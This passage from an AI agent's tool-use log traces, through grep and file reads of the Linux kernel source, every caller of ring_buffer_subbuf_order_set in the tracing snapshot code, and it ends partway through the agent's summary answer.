kernel/trace/trace.c:8221: ret = ring_buffer_subbuf_order_set(tr->array_buffer.buffer, order);
kernel/trace/trace.c:8230: ret = ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, order);
kernel/trace/trace.c:8233: cnt = ring_buffer_subbuf_order_set(tr->array_buffer.buffer, old_order);
kernel/trace/trace_snapshot.c:171: ret = ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, order);
kernel/trace/trace_snapshot.c:194: ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, 0);
```
This output, I realized with a jolt of certainty, is *complete*. There are no other call sites for `ring_buffer_subbuf_order_set` anywhere else in the kernel. This is a critical piece of information; it means my analysis of its callers can be exhaustive.
So, to consolidate, I can now trace every path that leads to calling `ring_buffer_subbuf_order_set`:
**1. Via `buffer_subbuf_size_write` in `kernel/trace/trace.c`:**
This is directly triggered when I write a new sub-buffer size (in KB) to the `buffer_subbuf_size_kb` file. This write operation invokes `buffer_subbuf_size_write`, which then calls `ring_buffer_subbuf_order_set`. Specifically:
* It attempts to resize the main trace buffer: `ring_buffer_subbuf_order_set(tr->array_buffer.buffer, order)`.
* If a snapshot buffer has been allocated, it also tries to resize that: `ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, order)`.
* Should the snapshot buffer resizing fail, it gracefully rolls back the main buffer to its previous size: `ring_buffer_subbuf_order_set(tr->array_buffer.buffer, old_order)`.
**2. Via `tracing_alloc_snapshot_instance` in `kernel/trace/trace_snapshot.c`:**
This function's sole purpose here is to ensure the snapshot buffer (`tr->snapshot_buffer.buffer`) is allocated with the same sub-buffer order as the main trace buffer. It does this by calling `ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, order)`. Now, I need to identify all the ways *this* function, `tracing_alloc_snapshot_instance`, gets called:
* **Direct Allocation:** `tracing_alloc_snapshot(void)` in `kernel/trace/trace.c` calls `tracing_alloc_snapshot_instance(tr)`. This `tracing_alloc_snapshot` function is exported, meaning kernel code or loadable modules can directly request snapshot buffer allocation.
* **Boot-time Configuration:** `trace_boot_enable_tracer` in `kernel/trace/trace_boot.c` will call `tracing_alloc_snapshot_instance(tr)` if the kernel was booted with snapshot allocation enabled in its configuration.
* **Snapshot Arming/Enabling:** `tracing_arm_snapshot_locked` in `kernel/trace/trace_snapshot.c` is a critical function that calls `tracing_alloc_snapshot_instance(tr)`. And `tracing_arm_snapshot_locked` is itself called by several other functions:
* `tracing_arm_snapshot(tr)`: This is the one I looked at earlier, called by `register_snapshot_trigger` and `ftrace_trace_snapshot_callback`.
* `tracing_snapshot_cond_enable` in `kernel/trace/trace_snapshot.c`.
* `tracing_snapshot_write` in `kernel/trace/trace_snapshot.c`: Specifically when I write a `1` to the `snapshot` control file, which implies enabling snapshotting.
* `tracing_set_tracer` in `kernel/trace/trace.c`: This is the initial trigger I considered, when switching to a tracer that requires snapshotting.
This thorough analysis, starting from the direct calls and then tracing back the indirect invocations, confirms that my understanding of snapshot buffer allocation and resizing pathways is now complete and accurate. I've exhausted all avenues, and these are the definitive ways `ring_buffer_subbuf_order_set` is invoked within the kernel's tracing framework.
|
| 111/4 |
2026/08/12 02:34 |
tool |
grepper |
0m
Args: map[Expression:tracing_snapshot_cond_enable]
Results: map[Output:kernel/trace/trace.h=2305=void tracing_snapshot_cond(struct trace_array *tr, void *cond_data);
kernel/trace/trace.h:2306:int tracing_snapshot_cond_enable(struct trace_array *tr, void *cond_data, cond_update_fn_t update);
kernel/trace/trace.h-2307-int tracing_snapshot_cond_disable(struct trace_array *tr);
--
kernel/trace/trace.h=2341=static inline void *tracing_cond_snapshot_data(struct trace_array *tr)
--
kernel/trace/trace.h-2344-}
kernel/trace/trace.h:2345:static inline int tracing_snapshot_cond_enable(struct trace_array *tr, void *cond_data, cond_update_fn_t update)
kernel/trace/trace.h-2346-{
--
kernel/trace/trace_events_hist.c=4138=static int action_create(struct hist_trigger_data *hist_data,
--
kernel/trace/trace_events_hist.c-4158-
kernel/trace/trace_events_hist.c:4159: ret = tracing_snapshot_cond_enable(file->tr, track_data,
kernel/trace/trace_events_hist.c-4160- cond_snapshot_update);
--
kernel/trace/trace_snapshot.c=103=EXPORT_SYMBOL_GPL(tracing_snapshot_cond);
--
kernel/trace/trace_snapshot.c-109- * When the user enables a conditional snapshot using
kernel/trace/trace_snapshot.c:110: * tracing_snapshot_cond_enable(), the user-defined cond_data is saved
kernel/trace/trace_snapshot.c-111- * with the snapshot. This accessor is used to retrieve it.
--
kernel/trace/trace_snapshot.c=261=EXPORT_SYMBOL_GPL(tracing_snapshot_alloc);
--
kernel/trace/trace_snapshot.c-263-/**
kernel/trace/trace_snapshot.c:264: * tracing_snapshot_cond_enable - enable conditional snapshot for an instance
kernel/trace/trace_snapshot.c-265- * @tr: The tracing instance
--
kernel/trace/trace_snapshot.c-275- */
kernel/trace/trace_snapshot.c:276:int tracing_snapshot_cond_enable(struct trace_array *tr, void *cond_data,
kernel/trace/trace_snapshot.c-277- cond_update_fn_t update)
--
kernel/trace/trace_snapshot.c-316-}
kernel/trace/trace_snapshot.c:317:EXPORT_SYMBOL_GPL(tracing_snapshot_cond_enable);
kernel/trace/trace_snapshot.c-318-
]
|
| 112/4 |
2026/08/12 02:34 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 18972
output: 27
thoughts: 269
Thoughts: **My Thought Process Regarding Tracing Snapshot Mechanisms**
It appears my investigation into the kernel's tracing snapshot functionality has led me to a key function: `tracing_snapshot_cond_enable`. I've identified that its sole caller, within the scope of histogram triggers (specifically when the `snapshot()` action is invoked), is `action_create` located in `kernel/trace/trace_events_hist.c`. This isolation of `tracing_snapshot_cond_enable`'s usage is a significant starting point.
My attention then shifted to the `free_snapshot` function, residing in `kernel/trace/trace_snapshot.c`. I noted that this function is responsible for calling `ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, 0)`. To fully grasp the lifecycle of a snapshot, I need to understand all the potential pathways that lead to `free_snapshot` being invoked. So far, I've identified two distinct scenarios:
1. The act of writing a `0` to the `/sys/kernel/tracing/snapshot` file, which is handled by `tracing_snapshot_write` in `kernel/trace/trace_snapshot.c`.
2. When the system's current tracer is changed away from one that utilizes snapshots to a tracer that does not. This process is managed by `tracing_set_tracer` in `kernel/trace/trace.c`.
However, to ensure I haven't missed anything, my next crucial step is to exhaustively search for all other potential callers of `free_snapshot` within the `kernel/trace/` directory. I'll be using a reliable tool like `grepper` for this comprehensive scan.
|
| 113/4 |
2026/08/12 02:34 |
tool |
grepper |
0m
Args: map[Expression:free_snapshot PathPrefix:kernel/trace/]
Results: map[Output:kernel/trace/trace.c=5002=int tracing_set_tracer(struct trace_array *tr, const char *buf)
--
kernel/trace/trace.c-5079- synchronize_rcu();
kernel/trace/trace.c:5080: free_snapshot(tr);
kernel/trace/trace.c-5081- tracing_disarm_snapshot(tr);
--
kernel/trace/trace.h=2313=void tracing_disarm_snapshot(struct trace_array *tr);
kernel/trace/trace.h:2314:void free_snapshot(struct trace_array *tr);
kernel/trace/trace.h-2315-void print_snapshot_help(struct seq_file *m, struct trace_iterator *iter);
--
kernel/trace/trace.h=2335=static inline void tracing_disarm_snapshot(struct trace_array *tr) { }
kernel/trace/trace.h:2336:static inline void free_snapshot(struct trace_array *tr) {}
kernel/trace/trace.h-2337-static inline void tracing_snapshot_cond(struct trace_array *tr, void *cond_data)
--
kernel/trace/trace_snapshot.c=162=int tracing_alloc_snapshot_instance(struct trace_array *tr)
--
kernel/trace/trace_snapshot.c-186-
kernel/trace/trace_snapshot.c:187:void free_snapshot(struct trace_array *tr)
kernel/trace/trace_snapshot.c-188-{
--
kernel/trace/trace_snapshot.c=634=tracing_snapshot_write(struct file *filp, const char __user *ubuf, size_t cnt,
--
kernel/trace/trace_snapshot.c-669- if (tr->allocated_snapshot)
kernel/trace/trace_snapshot.c:670: free_snapshot(tr);
kernel/trace/trace_snapshot.c-671- break;
]
|
| 114/4 |
2026/08/12 02:34 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 19757
output: 25
thoughts: 95
Thoughts: **A Deeper Dive into Snapshot Management**
My current train of thought is focused on the lifecycle and management of snapshots within our tracing system. I've been examining the `free_snapshot` function, and my immediate instinct is to understand its broader impact. Specifically, I need to ascertain *where else* `free_snapshot` is being invoked. This isn't just a matter of isolated function calls; it's about understanding the complete flow of snapshot deallocation.
To that end, I've already identified a couple of key callers: `tracing_set_tracer` and `tracing_snapshot_write`. These are significant in themselves, indicating points where snapshots are released during tracer configuration changes or when their data is persisted.
However, my investigative process isn't complete. I've identified another function, `tracing_snapshot_cond_disable`, that *might* be involved. My next step is to rigorously verify its relationship with `free_snapshot`. I need to determine if `tracing_snapshot_cond_disable` directly calls `free_snapshot`, or if it indirectly leads to its invocation through other means. To achieve this with certainty, I'll leverage `codesearch-definition-source` on `tracing_snapshot_cond_disable`. This will allow me to trace its entire definition and any downstream dependencies, ensuring I have a comprehensive understanding of the snapshot deallocation path. My goal is to leave no stone unturned in ensuring robust and predictable memory management for our snapshots.
|
| 115/4 |
2026/08/12 02:34 |
tool |
codesearch-definition-source |
0m
Args: map[Name:tracing_snapshot_cond_disable]
Results: map[SourceCode:2349: static inline int tracing_snapshot_cond_disable(struct trace_array *tr)
2350: {
2351: return false;
2352: }
SourceFile:kernel/trace/trace.h]
|
| 116/4 |
2026/08/12 02:34 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 19942
output: 21
thoughts: 53
Thoughts: **A Deep Dive into `tracing_snapshot_cond_disable`**
My initial thought upon encountering `tracing_snapshot_cond_disable` was a flicker of recognition, a sense that I'd seen this identifier before. My internal compass immediately pointed towards the `kernel/trace/trace_snapshot.c` file. It's highly probable that its definition, or at least a significant part of its functionality, resides within that specific kernel subsystem. To confirm this hunch and to precisely locate its implementation, my immediate next step would be to employ `grepper`. I need to perform a targeted search, specifically looking for the exact string `tracing_snapshot_cond_disable`. This systematic approach will ensure I don't miss any occurrences and can then meticulously analyze its context and behavior.
|
| 117/4 |
2026/08/12 02:34 |
tool |
grepper |
0m
Args: map[Expression:tracing_snapshot_cond_disable]
Results: map[Output:kernel/trace/trace.h=2306=int tracing_snapshot_cond_enable(struct trace_array *tr, void *cond_data, cond_update_fn_t update);
kernel/trace/trace.h:2307:int tracing_snapshot_cond_disable(struct trace_array *tr);
kernel/trace/trace.h-2308-void *tracing_cond_snapshot_data(struct trace_array *tr);
--
kernel/trace/trace.h=2345=static inline int tracing_snapshot_cond_enable(struct trace_array *tr, void *cond_data, cond_update_fn_t update)
--
kernel/trace/trace.h-2348-}
kernel/trace/trace.h:2349:static inline int tracing_snapshot_cond_disable(struct trace_array *tr)
kernel/trace/trace.h-2350-{
--
kernel/trace/trace_events_hist.c=3612=static void track_data_destroy(struct hist_trigger_data *hist_data,
--
kernel/trace/trace_events_hist.c-3623- if (track_data && track_data->hist_data == hist_data) {
kernel/trace/trace_events_hist.c:3624: tracing_snapshot_cond_disable(file->tr);
kernel/trace/trace_events_hist.c-3625- track_data_free(track_data);
--
kernel/trace/trace_snapshot.c=317=EXPORT_SYMBOL_GPL(tracing_snapshot_cond_enable);
--
kernel/trace/trace_snapshot.c-319-/**
kernel/trace/trace_snapshot.c:320: * tracing_snapshot_cond_disable - disable conditional snapshot for an instance
kernel/trace/trace_snapshot.c-321- * @tr: The tracing instance
--
kernel/trace/trace_snapshot.c-328- */
kernel/trace/trace_snapshot.c:329:int tracing_snapshot_cond_disable(struct trace_array *tr)
kernel/trace/trace_snapshot.c-330-{
--
kernel/trace/trace_snapshot.c-349-}
kernel/trace/trace_snapshot.c:350:EXPORT_SYMBOL_GPL(tracing_snapshot_cond_disable);
kernel/trace/trace_snapshot.c-351-
]
|
| 118/4 |
2026/08/12 02:34 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 20601
output: 37
thoughts: 34
Thoughts: **My Thought Process for Analyzing `tracing_snapshot_cond_disable`**
Alright, so my immediate instinct upon seeing `tracing_snapshot_cond_disable` is to dive into the code itself. I'm an expert in this area, so I know the best way to understand a specific function's behavior, especially within the kernel's tracing subsystem, is to go straight to the source.
My chosen method for this is `read-file`. This isn't just about passively reading; it implies I'll be pulling the content of `kernel/trace/trace_snapshot.c` directly into my environment for immediate scrutiny. This is crucial because I need to see the function in its exact context, with all its dependencies, surrounding code, and the specific implementation details that might not be obvious from documentation alone.
When I say "Let's read," it's not a casual suggestion; it's the activation of a deliberate, methodical approach. I'm not just looking for *what* the function does, but *how* it does it. I'll be paying close attention to:
* **The function signature:** What are its parameters? What are their types and potential values? This immediately tells me what information the function expects to receive.
* **Control flow:** I'll trace the execution path. Are there conditional branches? Loops? How does the function handle different states or inputs? This is where the "cond_disable" part of the name will likely reveal itself – I'll be looking for conditions that lead to disabling something related to tracing snapshots.
* **Data structures:** What internal data structures is it interacting with? How is it modifying or querying them? Understanding these is key to understanding the state of the tracing system.
* **Interactions with other kernel components:** Does it call other functions? Does it acquire or release locks? Does it interact with the tracing buffer or other core tracing mechanisms?
* **Error handling:** How does it manage potential errors or unexpected situations?
Essentially, "Let's use `read-file`" is my shorthand for initiating a deep, code-centric analysis. I'm setting myself up to meticulously examine the `tracing_snapshot_cond_disable` function, understanding its precise role within the kernel's tracing snapshotting capabilities, and identifying the conditions under which it might disable certain tracing behaviors. This direct code inspection is, for someone of my expertise, the most efficient and accurate way to gain a complete understanding.
|
| 119/4 |
2026/08/12 02:34 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace_snapshot.c FirstLine:320 LineCount:35]
Results: map[Contents: 320: * tracing_snapshot_cond_disable - disable conditional snapshot for an instance
321: * @tr: The tracing instance
322: *
323: * Check whether the conditional snapshot for the given instance is
324: * enabled; if so, free the cond_snapshot associated with it,
325: * otherwise return -EINVAL.
326: *
327: * Returns 0 if successful, error otherwise.
328: */
329: int tracing_snapshot_cond_disable(struct trace_array *tr)
330: {
331: int ret = 0;
332:
333: local_irq_disable();
334: arch_spin_lock(&tr->max_lock);
335:
336: if (!tr->cond_snapshot)
337: ret = -EINVAL;
338: else {
339: kfree(tr->cond_snapshot);
340: tr->cond_snapshot = NULL;
341: }
342:
343: arch_spin_unlock(&tr->max_lock);
344: local_irq_enable();
345:
346: tracing_disarm_snapshot(tr);
347:
348: return ret;
349: }
350: EXPORT_SYMBOL_GPL(tracing_snapshot_cond_disable);
351:
352: #ifdef CONFIG_TRACER_MAX_TRACE
353: #ifdef LATENCY_FS_NOTIFY
354: static struct workqueue_struct *fsnotify_wq;
]
|
| 120/4 |
2026/08/12 02:34 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 21138
output: 37
thoughts: 79
Thoughts: **My Thought Process Regarding Snapshot Tracing Disablement**
Okay, so my initial understanding of `tracing_snapshot_cond_disable` was a little off. I was under the impression it might directly free the entire snapshot structure. However, upon closer inspection, I've realized that it *doesn't* call `free_snapshot`. Instead, its primary responsibilities are more granular: it frees the `tr->cond_snapshot` specifically, and then it proceeds to call `tracing_disarm_snapshot(tr)`. This distinction is important because it suggests a layered approach to disarming and cleaning up the conditional snapshot functionality. I need to delve into the implementation of `tracing_disarm_snapshot` itself to fully grasp the subsequent cleanup and resource deallocation that occurs, and I'll be doing that by examining it within the context of `kernel/trace/trace_snapshot.c`, likely by using a `read-file` operation to inspect its code.
|
| 121/4 |
2026/08/12 02:34 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace_snapshot.c FirstLine:220 LineCount:25]
Results: map[Contents: 220: spin_unlock(&tr->snapshot_trigger_lock);
221: }
222:
223: return ret;
224: }
225:
226: int tracing_arm_snapshot(struct trace_array *tr)
227: {
228: guard(mutex)(&trace_types_lock);
229: return tracing_arm_snapshot_locked(tr);
230: }
231:
232: void tracing_disarm_snapshot(struct trace_array *tr)
233: {
234: spin_lock(&tr->snapshot_trigger_lock);
235: if (!WARN_ON(!tr->snapshot))
236: tr->snapshot--;
237: spin_unlock(&tr->snapshot_trigger_lock);
238: }
239:
240: /**
241: * tracing_snapshot_alloc - allocate and take a snapshot of the current buffer.
242: *
243: * This is similar to tracing_snapshot(), but it will allocate the
244: * snapshot buffer if it isn't already allocated. Use this only
]
|
| 122/4 |
2026/08/12 02:34 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 21582
output: 37
thoughts: 1763
Thoughts: **A Deep Dive into Snapshotting and Ring Buffer Subbuffer Ordering in the Tracing Subsystem**
My current line of thinking is focused on understanding the intricacies of the tracing subsystem, specifically how snapshots are managed and how they interact with the underlying ring buffer's subbuffer ordering. I'm meticulously tracing the call chains and looking for all possible paths that lead to certain functions being invoked, as I need to have a complete picture for my analysis.
Initially, I noticed that `tracing_disarm_snapshot` simply decrements a reference count (`tr->snapshot`) and crucially, does *not* call `free_snapshot`. This immediately flagged a potential area for closer inspection: the lifecycle management of snapshots.
My next step was to revisit `free_snapshot` itself. I needed to confirm that I was aware of all the places where a snapshot's resources are actually deallocated. I performed a `grepper` search for `free_snapshot` and found calls in:
* `kernel/trace/trace.c` (line 5080)
* `kernel/trace/trace_snapshot.c` (declaration at line 187, and another call at line 670)
I also took the opportunity to verify that there weren't any unrelated functions with similar names in other parts of the kernel that might cause confusion. My search confirmed that the `ceph_subvolume_metrics_free_snapshot` in `fs/ceph/subvolume_metrics.c`, `intel_bts_free_snapshot_refs` in `tools/perf/arch/x86/util/intel-bts.c`, and `intel_pt_free_snapshot_refs` in `tools/perf/arch/x86/util/intel-pt.c` are distinct and not part of the tracing subsystem's snapshot management.
Moving on to the allocation side, I investigated `tracing_alloc_snapshot_instance`. My `grepper` search for this function revealed calls in:
* `kernel/trace/trace.c` (line 893)
* `kernel/trace/trace_boot.c` (line 607)
* `kernel/trace/trace_snapshot.c` (declaration at line 162, and another call at line 216)
Again, I cross-referenced to ensure no other unrelated functions were being flagged.
The same meticulous process was applied to `tracing_alloc_snapshot`. The `grepper` output showed calls in:
* `kernel/trace/trace.c` (line 888)
* `kernel/trace/trace_snapshot.c` (line 255)
And for `tracing_snapshot_alloc`, the calls were found in:
* `kernel/trace/trace.c` (line 904)
* `kernel/trace/trace_snapshot.c` (line 251)
The core of my current focus, however, is on the `ring_buffer_subbuf_order_set` function and all the conditions that might trigger it. I'm particularly interested in how the snapshot buffer's subbuffer order is dynamically managed. I've identified that writing to the `snapshot` file in the trace directory is a direct way to influence this:
1. **Arming a snapshot (`echo 1 > snapshot`):** This path leads to `tracing_arm_snapshot_locked(tr)`, which then calls `tracing_alloc_snapshot_instance(tr)`. If the snapshot buffer isn't already allocated, `ring_buffer_subbuf_order_set` will be invoked to synchronize the snapshot buffer's subbuf order with that of the main trace buffer.
2. **Disarming/Freeing a snapshot (`echo 0 > snapshot`):** This path invokes `free_snapshot(tr)`, which in turn calls `ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, 0)`, effectively resetting the snapshot buffer's subbuf order.
Beyond direct interaction with the `snapshot` file, I've brainstormed and enumerated other significant triggers for `ring_buffer_subbuf_order_set`:
* **Changing the current tracer:** When I switch to a tracer that utilizes snapshots (like `wakeup` variants, `irqsoff`, etc.), `tracing_arm_snapshot_locked` is called, leading to snapshot buffer allocation and subbuf order setting. Conversely, switching away from such a tracer will call `free_snapshot` and reset the order.
* **Registering/Enabling a snapshot event trigger:** Setting up a tracepoint to trigger a snapshot (e.g., `echo snapshot > events/.../trigger`) will eventually lead to `tracing_arm_snapshot(tr)` and subsequent subbuf order adjustment.
* **Registering/Enabling a snapshot function trigger:** Similar to event triggers, configuring ftrace to snapshot on specific function entry/exit (`echo 'sys_clone:snapshot' > set_ftrace_filter`) also results in `tracing_arm_snapshot(tr)`.
* **Enabling conditional snapshots via histogram triggers:** When I define a histogram trigger that includes the `snapshot()` action (e.g., `echo 'hist:keys=...:onmax(...).snapshot()' > events/.../trigger`), the `action_create` path is taken, which eventually calls `tracing_snapshot_cond_enable(tr, ...)`, leading to `tracing_arm_snapshot_locked(tr)` and setting the subbuf order.
* **Boot-time tracing configuration:** If `alloc_snapshot` is configured via kernel boot parameters or config, `trace_boot_enable_tracer` will call `tracing_alloc_snapshot_instance(tr)` during initialization, setting the subbuf order early on.
* **Direct kernel calls:** Any kernel code or module that explicitly calls the exported `tracing_snapshot_alloc()` function will also trigger this process.
To ensure my understanding is completely robust, I've performed a thorough `grepper` search for `ring_buffer_subbuf_order_set` across the entire kernel. The results are remarkably contained, pointing only to:
* `include/linux/ring_buffer.h`
* `kernel/trace/ring_buffer.c`
* `kernel/trace/trace.c`
* `kernel/trace/trace_snapshot.c`
This high degree of specificity is reassuring. My next step is to meticulously examine the code within `trace_boot_enable_tracer` using `read-file` to get absolute certainty on its operational details during boot-time initialization. This granular approach is crucial for developing a comprehensive and accurate model of the tracing subsystem's behavior.
|
| 123/4 |
2026/08/12 02:34 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace_boot.c FirstLine:593 LineCount:20]
Results: map[Contents: 593: trace_boot_enable_tracer(struct trace_array *tr, struct xbc_node *node)
594: {
595: const char *p;
596:
597: trace_boot_set_ftrace_filter(tr, node);
598:
599: p = xbc_node_find_value(node, "tracer", NULL);
600: if (p && *p != '\0') {
601: if (trace_array_is_readonly(tr) || tracing_set_tracer(tr, p) < 0)
602: pr_err("Failed to set given tracer: %s\n", p);
603: }
604:
605: /* Since tracer can free snapshot buffer, allocate snapshot here.*/
606: if (xbc_node_find_value(node, "alloc_snapshot", NULL)) {
607: if (tracing_alloc_snapshot_instance(tr) < 0)
608: pr_err("Failed to allocate snapshot buffer\n");
609: }
610: }
611:
612: static void __init
]
|
| 124/4 |
2026/08/12 02:34 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 23704
output: 37
thoughts: 257
Thoughts: **A Deep Dive into Tracing Snapshot Allocation**
My thought process, as I'm delving into the intricacies of the Linux kernel's tracing infrastructure, has been focused on understanding the allocation mechanism for tracing snapshots. I've confirmed that the `trace_boot_enable_tracer` function is indeed the entry point that triggers the allocation of a tracing snapshot instance, specifically by calling `tracing_alloc_snapshot_instance(tr)`, but this only happens if the `alloc_snapshot` option is enabled within the boot configuration.
Naturally, my next logical step was to broaden my scope and investigate any other potential locations within the `kernel/trace/` directory that might be invoking either `tracing_alloc_snapshot` or its instance-specific counterpart, `tracing_alloc_snapshot_instance`. I was confident that my initial global grep for these functions would have unearthed all relevant calls.
However, as a meticulous practitioner, I felt it prudent to re-verify this assumption. The possibility of a missed reference, however slight, gnawed at me. To that end, I performed another comprehensive search for `tracing_alloc_snapshot` across the entire kernel source tree, just to be absolutely certain.
My reinvestigation yielded the following, confirming my previous findings:
* `kernel/trace/trace.c`: This is where the `tracing_alloc_snapshot` function is defined.
* `kernel/trace/trace_snapshot.c`: This file contains a call to `tracing_alloc_snapshot`.
* `kernel/trace/trace.h`: This header file provides the declaration for the function.
Still, a nagging detail prompted a closer look. I decided to examine the `kernel/trace/trace_snapshot.c` file specifically, focusing on the vicinity of line 251. I'm using the `read-file` command to bring that precise section into view, ensuring I don't overlook any subtle dependencies or contextual nuances that might be at play.
|
| 125/4 |
2026/08/12 02:34 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace_snapshot.c FirstLine:240 LineCount:25]
Results: map[Contents: 240: /**
241: * tracing_snapshot_alloc - allocate and take a snapshot of the current buffer.
242: *
243: * This is similar to tracing_snapshot(), but it will allocate the
244: * snapshot buffer if it isn't already allocated. Use this only
245: * where it is safe to sleep, as the allocation may sleep.
246: *
247: * This causes a swap between the snapshot buffer and the current live
248: * tracing buffer. You can use this to take snapshots of the live
249: * trace when some condition is triggered, but continue to trace.
250: */
251: void tracing_snapshot_alloc(void)
252: {
253: int ret;
254:
255: ret = tracing_alloc_snapshot();
256: if (ret < 0)
257: return;
258:
259: tracing_snapshot();
260: }
261: EXPORT_SYMBOL_GPL(tracing_snapshot_alloc);
262:
263: /**
264: * tracing_snapshot_cond_enable - enable conditional snapshot for an instance
]
|
| 126/4 |
2026/08/12 02:34 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 24337
output: 1017
thoughts: 1106
Thoughts: **My Thought Process on Triggering `ring_buffer_subbuf_order_set`**
Right, let's break this down. The core of the question is whether writing to `buffer_subbuf_size_kb` is the *only* way to make `ring_buffer_subbuf_order_set` do its thing. My immediate thought, looking at the code, is a clear "no," there are definitely other pathways. I need to be thorough and structured in my explanation, as the user is clearly an expert and will appreciate precision.
The function `ring_buffer_subbuf_order_set` is called in two primary locations:
1. **`kernel/trace/trace.c`**: This is the direct connection to the `buffer_subbuf_size_kb` user-space interface. When a user writes to that file, `buffer_subbuf_size_write` is invoked, which in turn calls `ring_buffer_subbuf_order_set`. This is the obvious, explicit method.
2. **`kernel/trace/trace_snapshot.c`**: This is where the less obvious, but equally important, triggers lie. Specifically, `tracing_alloc_snapshot_instance` and `free_snapshot` are the key players here. These functions are responsible for managing the snapshot buffer – a temporary buffer often used by tracers to capture event data. When these snapshot functions are called, they *also* call `ring_buffer_subbuf_order_set`. This makes sense; the snapshot buffer needs its sub-buffer order and size to be synchronized with the main tracing buffer, or reset when it's no longer needed.
So, the general principle is that any action that involves the allocation or deallocation/resetting of a snapshot buffer will trigger `ring_buffer_subbuf_order_set`, but specifically for that snapshot buffer. My task now is to enumerate all the ways a snapshot buffer can be managed.
Let's go through them systematically:
* **Direct Interaction with `tracefs/snapshot`:**
* **Taking a snapshot:** When I write a `1` to the `snapshot` file in tracefs (e.g., `echo 1 > snapshot`), this initiates the snapshot process via `tracing_arm_snapshot_locked()`. This function then calls `tracing_alloc_snapshot_instance()`. If the snapshot buffer hasn't been allocated yet, `ring_buffer_subbuf_order_set()` will be called to configure it to match the main buffer's settings.
* **Clearing a snapshot:** Conversely, writing a `0` to the `snapshot` file (e.g., `echo 0 > snapshot`) triggers `free_snapshot()`. This function explicitly calls `ring_buffer_subbuf_order_set(..., 0)`, effectively resetting the snapshot buffer's sub-buffer order to zero.
* **Changing the Active Tracer:**
* **Switching to a tracer that *uses* snapshots:** Many tracers, like `wakeup`, `wakeup_rt`, `wakeup_dl`, `irqsoff`, `preemptoff`, and `preemptirqsoff`, rely on snapshot buffers. When I switch the `current_tracer` to one of these (e.g., `echo wakeup > current_tracer`), the kernel automatically calls `tracing_arm_snapshot_locked()`, which leads to `tracing_alloc_snapshot_instance()` being invoked, and consequently `ring_buffer_subbuf_order_set()` for the snapshot.
* **Switching *away* from a tracer that uses snapshots:** If I'm using a snapshot-based tracer and switch to a tracer that doesn't (like `nop`), the kernel needs to clean up. This involves calling `free_snapshot()`, which again calls `ring_buffer_subbuf_order_set(..., 0)` to reset the snapshot buffer.
* **Event Trigger Configuration:**
* **Registering a `snapshot` trigger for an event:** If I set up an event trigger in tracefs to capture a snapshot (e.g., `echo snapshot > events/<group>/<event>/trigger`), the `register_snapshot_trigger()` function is called. This function, in turn, calls `tracing_arm_snapshot()`, which then calls `tracing_alloc_snapshot_instance()`, and you guessed it, `ring_buffer_subbuf_order_set()` is invoked for the snapshot.
* **Registering a `snapshot` trigger for function tracing:** Similarly, for function tracer filters, if I add a snapshot action (e.g., `echo 'sys_clone:snapshot' > set_ftrace_filter`), the `ftrace_trace_snapshot_callback()` will be invoked. This leads to `tracing_arm_snapshot()` and subsequently `tracing_alloc_snapshot_instance()`, triggering `ring_buffer_subbuf_order_set()`.
* **Conditional Snapshots via Histograms:**
* **Using the `snapshot()` action in histogram triggers:** When I configure a histogram trigger and specify the `snapshot()` action for specific conditions (e.g., `echo 'hist:keys=...:onmax(...).snapshot()' > events/<group>/<event>/trigger`), the `action_create()` function will eventually call `tracing_snapshot_cond_enable()`. This mechanism also arms the snapshot, leading to `tracing_alloc_snapshot_instance()` and `ring_buffer_subbuf_order_set()`.
* **Boot-time Configuration:**
* **Kernel boot parameters/config:** If the kernel is configured at boot time to use snapshots (e.g., through a `trace_boot_enable_tracer()` call or a similar mechanism with `alloc_snapshot` set), then `tracing_alloc_snapshot_instance()` will be called during the boot process itself, setting up the snapshot buffer's sub-buffer order.
* **Direct Kernel API Calls:**
* **Calling `tracing_snapshot_alloc()` from within the kernel:** Any part of the kernel, a module, or a driver can directly call the exported function `tracing_snapshot_alloc()`. This function internally calls `tracing_alloc_snapshot()`, which then calls `tracing_alloc_snapshot_instance()`, predictably leading to `ring_buffer_subbuf_order_set()` being executed for the snapshot buffer.
So, in summary, while writing to `buffer_subbuf_size_kb` is a direct user-space control for the *main* buffer's sub-buffer order, managing snapshot buffers provides a whole other family of triggers for `ring_buffer_subbuf_order_set`, specifically for those snapshot instances. This covers all the primary code paths I can identify. It's comprehensive and accurate. I'm confident in these findings. Now, to document this clearly.
|
| 127/4 |
2026/08/12 02:35 |
tool |
set-results |
0m
Args: map[Answer:Yes, there are several other ways to trigger `ring_buffer_subbuf_order_set` besides writing to `buffer_subbuf_size_kb`.
In the Linux kernel source code, `ring_buffer_subbuf_order_set` is called in two files:
1. `kernel/trace/trace.c` (inside `buffer_subbuf_size_write`, which is triggered by writing to `buffer_subbuf_size_kb`).
2. `kernel/trace/trace_snapshot.c` (inside `tracing_alloc_snapshot_instance` and `free_snapshot`).
Therefore, any action that allocates, arms, or frees/resets a snapshot buffer will trigger `ring_buffer_subbuf_order_set` (specifically for the snapshot buffer, to synchronize its sub-buffer order/size with the main buffer, or to reset it to 0 when freed).
Here are all the other ways to trigger `ring_buffer_subbuf_order_set`:
### 1. Interacting with the `snapshot` file in the tracefs directory
* **Allocating/Taking a snapshot:** Writing `1` to the `snapshot` file (e.g., `echo 1 > snapshot`) triggers `tracing_arm_snapshot_locked()`, which calls `tracing_alloc_snapshot_instance()`. If the snapshot buffer is not yet allocated, this calls `ring_buffer_subbuf_order_set()` to set the snapshot buffer's sub-buffer order to match the main buffer's order.
